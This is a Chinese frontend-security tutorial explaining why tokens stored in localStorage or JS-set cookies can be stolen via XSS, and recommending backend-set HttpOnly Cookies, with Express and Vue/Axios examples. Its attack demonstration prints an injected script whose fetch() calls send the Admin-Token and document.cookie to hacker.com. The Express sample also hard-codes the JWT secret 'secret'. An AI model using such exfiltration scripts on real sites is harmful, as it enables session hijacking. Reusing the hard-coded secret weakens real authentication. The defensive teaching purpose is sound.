关键词 :HttpOnly Cookie、前端安全、XSS 防护、Token 存储、Vue、React、安全开发
适用人群 :前端工程师、全栈开发者、安全初学者
阅读时长:8 分钟
📌 一、一个真实的安全告警
你在做安全扫描时,是否遇到过这样的提示?
"检测到前端 JavaScript 直接操作 Cookie 存储敏感信息(如 Admin-Token)"
你可能会想:"我用 js-cookie 或 document.cookie 存个 Token 有什么问题?"
但事实是:这正是 XSS(跨站脚本攻击)窃取用户身份的最常见入口!
而解决这个问题的行业标准方案 ,就是 ------ HttpOnly Cookie。
🔍 二、前端存 Cookie vs HttpOnly Cookie:本质区别
✅ 场景对比
| 行为 | 前端 JS 存 Cookie | 后端设置 HttpOnly Cookie |
|---|---|---|
| 设置方式 | document.cookie = "token=xxx" 或 Cookies.set('token', xxx) |
HTTP 响应头: Set-Cookie: token=xxx; HttpOnly |
| JS 能否读取? | ✅ 能(document.cookie 可获取) |
❌ 不能(浏览器禁止) |
| 浏览器是否自动携带? | ✅ 是 | ✅ 是 |
| 能否被 XSS 窃取? | ⚠️ 能! | ✅ 不能! |
💡 关键结论 :
两者都能自动随请求发送,但只有 HttpOnly Cookie 能防 XSS 窃取。
⚠️ 三、为什么前端存 Token 如此危险?
攻击演示:XSS 如何偷走你的 Token
假设你的代码这样存 Token:
javascript
// auth.js
localStorage.setItem('Admin-Token', 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...');
// 或
document.cookie = "Admin-Token=eyJ...";
攻击者只需注入一行恶意脚本:
javascript
<script>
// 窃取 localStorage
fetch('https://hacker.com/steal?token=' + localStorage.getItem('Admin-Token'));
// 或窃取 Cookie
fetch('https://hacker.com/steal?cookie=' + document.cookie);
</script>
✅ 结果:用户身份被完全接管,无需密码!
🔥 即使你用 SM4/AES 加密 Token,密钥也在前端代码中,攻击者可同时拿到密文+密钥,轻松解密。
✅ 四、HttpOnly Cookie:真正的安全防线
它是如何工作的?
-
用户登录 → 后端验证成功;
-
后端返回响应头:
java
HTTP/1.1 200 OK
Set-Cookie: Admin-Token=eyJ...; Path=/; HttpOnly; Secure; SameSite=Strict
-
浏览器:
- 自动保存该 Cookie;
- 禁止任何 JavaScript 访问它;
- 后续请求自动携带该 Cookie。
-
前端代码:
javascript
// 你什么都不用做!
// axios 请求会自动带 Cookie(需配置 withCredentials)
axios.defaults.withCredentials = true;
安全效果:
- 即使页面存在 XSS 漏洞;
- 攻击者执行
document.cookie→ 看不到Admin-Token; - 无法窃取身份,攻击失败!
🛠️ 五、前后端协作实现示例
后端(Node.js / Express)
javascript
app.post('/login', (req, res) => {
const token = jwt.sign({ userId: 123 }, 'secret');
res.cookie('Admin-Token', token, {
httpOnly: true, // 👈 关键!
secure: true, // 仅 HTTPS
sameSite: 'strict',
maxAge: 3600000 // 1小时
});
res.json({ success: true });
});
前端(Vue3 + Axios)
javascript
// main.js 或 request.js
import axios from 'axios';
axios.defaults.withCredentials = true; // 允许跨域携带 Cookie
// 登录
const login = () => {
axios.post('/login', { username, password });
// 成功后,后续所有请求自动带 Cookie,无需手动加 Header!
};
✅ 优势:前端彻底不碰 Token,安全责任交给浏览器和后端。
❓ 六、常见疑问解答
Q1:HttpOnly Cookie 能防 CSRF 吗?
❌ 不能!需配合
SameSite=Strict/Lax或 CSRF Token。
Q2:纯前端项目(无后端)怎么办?
⚠️ 无法使用 HttpOnly Cookie。此时应:
- 严格防范 XSS(CSP、输入过滤);
- Token 短有效期 + 敏感操作二次验证;
- 不要幻想前端加密能防攻击。
Q3:扫描器还会报"操作 Cookie"吗?
✅ 不会!因为前端不再调用
document.cookie,漏洞根源已消除。
📊 七、安全方案对比总结
| 方案 | 防 XSS | 防扫描 | 合规性 | 推荐度 |
|---|---|---|---|---|
| 前端存明文 Token(localStorage/Cookie) | ❌ | ❌ | 低 | ⭐ |
| 前端加密 Token(SM4/AES) | ❌ | ✅ | 中 | ⭐⭐ |
| HttpOnly Cookie | ✅ | ✅ | 高 | ⭐⭐⭐⭐⭐ |
✅ 八、总结与行动建议
- 不要让 JavaScript 接触敏感凭证 ------ 这是安全开发的黄金法则;
- HttpOnly Cookie 是存储认证令牌的最佳实践,已被 Google、GitHub、银行系统广泛采用;
- 如果你的项目还在用
js-cookie或localStorage存 Token,请立即推动后端改造; - 安全不是功能,而是架构。花 1 天改 Cookie,胜过 1 月修 XSS。
🔗 延伸阅读: